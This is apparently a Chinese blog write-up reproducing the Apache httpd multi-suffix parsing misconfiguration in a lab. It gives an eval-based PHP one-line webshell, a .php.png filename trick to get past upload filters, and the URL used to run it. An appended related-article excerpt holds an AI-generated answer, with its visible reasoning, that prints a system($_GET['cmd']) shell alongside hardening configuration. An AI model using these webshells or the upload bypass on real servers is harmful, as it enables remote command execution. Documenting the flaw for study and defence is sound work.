apache-httpd_多后缀名解析漏洞

最新推荐文章于 2025-01-05 17:13:52 发布
原创 最新推荐文章于 2025-01-05 17:13:52 发布 · 261 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#apache #网络安全

Apache服务器存在高危漏洞，源于管理员配置不当，允许非.php后缀文件通过AddHandler执行PHP代码。攻击者可利用此漏洞进行命令执行和可能的GetShell。修复建议缺失，用户应检查和修正配置以防止此类攻击。

Apache-ttpd_多后缀名解析漏洞

说明内容
漏洞编号
漏洞名称apache httpd 多后缀解析漏洞
漏洞评级高危
影响范围该漏洞并不是apache程序本身的问题，而是管理员配置不当造成
漏洞描述Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令
修复方案

漏洞描述

该漏洞并不是apache程序本身的问题，而是管理员配置不当造成。Apache支持一个文件具有多个后缀，并为不同的后缀执行不同的指令。

漏洞等级

高危

影响版本

  • 该漏洞并不是apache程序本身的问题，而是管理员配置不当造成

漏洞复现

基础环境

组件版本
OSkali-linux
Web Serverchrome

漏洞验证

  1. 启动环境，访问主页

    在这里插入图片描述

  2. 上传一个php文件，内容为一句话木马+phpinfo，进行抓包

    <?php
@eval($_REQUEST[777]);phpinfo();

    在这里插入图片描述

  3. 修改后缀名为任意字符

    filename="1_info.cwc

    在这里插入图片描述

  4. 修改文件后缀为png

    filename="1_info.php.png

    在这里插入图片描述

  5. 访问文件

    http://192.168.117.163/uploadfiles/1_info.php.png

    在这里插入图片描述

原理是AddHandler配置，遇到.php就将文件作为php文件进行执行；但并不是以.php结尾，只要文件名中含有.php，就会作为php文件执行

在这里插入图片描述

深度利用

命令执行

可以进行命令执行

GetShell

可以上传一句话木马进行getshell

漏洞挖掘

网络测绘

apache httpd

修复建议

无

Apache[多后缀文件名解析漏洞+换行解析漏洞+SSI远程命令执行漏洞]复现
weixin_45253622的博客
05-09 8334
一、多后缀文件解析漏洞 Apache的多后缀名特性： 如果一个文件有多个后缀名，那么Apache会从后（右）往前（左）辨别后缀。所以攻击者在可以上传文件的地方上传hack.php.xxx的文件，假设网站有对php的后缀进行过滤，但判断是xxx文件，不在黑名单里，安全检查就会放行，然而Apache的多后缀名特性会以倒数第二个后缀".php"为准，把该文件当做是php文件，解析执行。但是需要把 php5.conf文件中的正则表达式的“$”换成"."，然后重启。 总结：Apache文件解析漏洞就是由于用户在
3. Apache httpd 安全加固之多后缀名解析漏洞
薛定谔嘚喵博客
03-31 799
Apache httpd 安全加固之多后缀名解析漏洞 漏洞原理：在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。
vulhub中的Apache HTTPD 多后缀解析漏洞详解
qq_59020256的博客
01-04 947
这里需要注意路径，如果你没有执行成功make和make install那么你这里的/bin/python3 路径便会不存在，所有一定要切换到/usr/local/python3/bin/python3进行查看是否存在。这里我就遇到了因为版本过低而执行不了docker-compose up -d的情况。因为我在1.php.jpg中写入的是phpinfo()文件则会执行phpinfo。这里python版本很重要，因为版本过低可能会导致后面的结果运行不成功。（2）创建python3文件夹，存放编译后的下载包。
Apache Httpd 常见漏洞解析（全）
黑战士的博客
02-17 4567
Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞。在解析PHP时，1.php\x0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。
apache httpd多后缀解析漏洞复现
WY92139010的博客
07-28 548
apache httpd多后缀解析漏洞复现 一、漏洞描述 Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache httpd这个特性,就可以绕过上传文件的白名单。 该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞 二、漏洞原理 由于管理员...
vulhub-httpd-apache_parsing_vulnerability
Ronin_qianmo的博客
07-27 521
1、漏洞描述 在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。 2、漏洞原理 Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件： AddType text/html .html AddLanguage zh-CN .cn 其给.html后缀增加了media-type，值为text/html；给.cn后缀增加了语言，值为zh-CN。此时，如果用户请求文
【漏洞复现】Apache_HTTPD_未知后缀名解析
过期的秋刀鱼
11-04 390
【代码】【漏洞复现】Apache_HTTPD_未知后缀名解析。
【漏洞复现】Apache_HTTPD_多后缀解析漏洞
过期的秋刀鱼
11-04 694
Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。application/octet-stream：二进制流数据(常见的文件下载就是这种媒体格式)后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。以上就是Apache多后缀的特性。那么，在有多个后缀的情况下，只要一个文件含有。application/pdf：pdf格式。后缀增加了media-type，值为。后缀增加了语言，值为。，他将返回一个中文的。
06 - vulhub - Apache HTTPD 多后缀解析漏洞
2301_82241859的博客
04-12 988
漏洞原理漏洞复现漏洞利用验证漏洞利用是否成功修复建议漏洞名称：Apache HTTPD 多后缀解析漏洞简介：httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程，它会建立一个处理请求的子进程或线程的池。Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件。比如，如下配置文件：AddType text/html .htmlAddLanguage zh-CN .cn其
Apache HTTPD 多后缀解析漏洞
weixin_45534587的博客
01-05 928
Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。以上就是Apache多后缀的特性。如果运维人员给.php那么，在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。
apache httpd 多后缀解析漏洞
qq_70303095的博客
01-08 280
apache httpd 多后缀解析漏洞
Apache HTTPD多后缀解析漏洞
不忘初心，护天下安全！
10-14 918
Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件：其给后缀增加了media-type，值为text/html；给.cn后缀增加了语言，值为zh-CN。此时，如果用户请求文件index.cn.html，他将返回一个中文的html页面。以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器：那么，在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。
Apache HTTPD 多后缀名解析漏洞
最新发布
08-02
<think>我们正在处理用户关于Apache HTTPD多后缀名解析漏洞的查询。根据用户的要求，我们需要提供漏洞的详情、可能的利用方式以及修复方法。同时，我们需要参考提供的引用内容，并确保回答结构清晰、可靠。 根据引用[1]和引用[2]： - 漏洞原因：Apache HTTPD服务器在解析文件时，允许一个文件有多个后缀（以点分割）。它会从最右边开始识别后缀名，如果遇到无法识别的后缀，则向左继续识别。如果配置中使用了`AddHandler`指令（例如`AddHandler application/x-httpd-php .php`）来处理PHP文件，那么只要文件名中包含`.php`后缀（即使它并不是最后一个后缀），该文件就会被当作PHP文件解析。 - 漏洞影响：攻击者可以上传一个看似非PHP的文件（例如`filename.php.jpg`），但由于其中包含`.php`后缀，Apache会将其作为PHP文件解析并执行其中的恶意代码。 - 漏洞与版本无关，属于配置不当导致。 修复方法： 1. 修改配置，避免使用`AddHandler`指令，而是使用`FilesMatch`指令来精确匹配文件类型。例如： ```apache <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> ``` 这样配置后，只有以`.php`结尾的文件才会被当作PHP文件解析。 2. 禁止上传目录执行脚本：在文件上传目录的配置中，移除PHP处理程序，确保上传目录下的文件不会被当作脚本执行。例如： ```apache <Directory "/var/www/upload"> php_flag engine off # 或者对于Apache 2.4，可以使用： # SetHandler None </Directory> ``` 3. 清理文件后缀：在应用程序中，对上传的文件名进行严格检查，确保只有一个后缀且是允许的类型。 4. 使用`mod_rewrite`阻止恶意请求：可以添加规则来阻止包含多个后缀的请求，特别是包含`.php`的请求。 5. 确保其他后缀不被错误解析：检查服务器配置，确保没有其他非必要后缀被配置为可执行脚本。 相关问题： 1. 如何验证Apache服务器是否存在多后缀解析漏洞？ 2. 除了多后缀解析漏洞，Apache HTTPD还有哪些常见的安全漏洞？ 3. 如何配置Apache服务器以提高文件上传功能的安全性？ 4. 在Nginx服务器中，是否也存在类似的多后缀解析漏洞？如何防范？</think>### Apache HTTPD 多后缀名解析漏洞详情 #### 漏洞原理 Apache HTTPD 在处理文件时存在一个特性：**允许单个文件拥有多个后缀名**（如 `file.php.jpg`）。解析规则如下： 1. 从**最右侧后缀开始识别**（如 `.jpg`） 2. 若无法识别则**向左依次检测**后缀名 3. 遇到可识别的后缀（如 `.php`）时，**直接按该类型解析文件**[^1][^2] **关键触发条件**： ```apache # 危险配置示例（漏洞根源） AddHandler application/x-httpd-php .php ``` 当存在此配置时，上传 `malicious.php.jpg` 文件会被解析为 PHP 脚本执行，因为服务器识别到 `.php` 后缀[^1]。 #### 漏洞利用方式 1. **文件上传绕过** - 攻击者上传伪装文件：`shell.php.jpg` 或 `shell.php.123` - Apache 解析时识别 `.php` 后缀，执行其中的恶意代码 - 经典攻击载荷： ```php <?php system($_GET['cmd']); ?> ``` 2. **结合其他漏洞** - 配合文件上传功能缺陷，突破白名单限制 - 通过路径拼接触发解析（如 `/uploads/user_avatar.php.jpg`） #### 修复方法 1. **修改 Apache 配置**（根本解决方案） ```apache # 替换危险的 AddHandler 指令 <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> ``` 此配置**严格匹配以 `.php` 结尾的文件**，忽略多后缀情况[^1]。 2. **限制上传目录执行权限** ```apache <Directory "/var/www/uploads"> # 禁止执行脚本 php_flag engine off Options -ExecCGI </Directory> ``` 3. **应用程序层防护** - 文件上传时**重命名文件**（如生成随机文件名） - 检查文件内容而非依赖后缀名 - 使用 MIME 类型检测（如 `finfo_file()`） 4. **补充方案** - 升级到 Apache 2.4.26+ 并启用 `AllowOverride None` - 使用 WAF 规则拦截异常后缀组合（如 `.php.`） > **注意**：该漏洞与 Apache/PHP 版本无关，纯属配置问题[^1]。修复后需测试 `test.php.jpg` 是否返回源码而非执行。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cwangc000

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值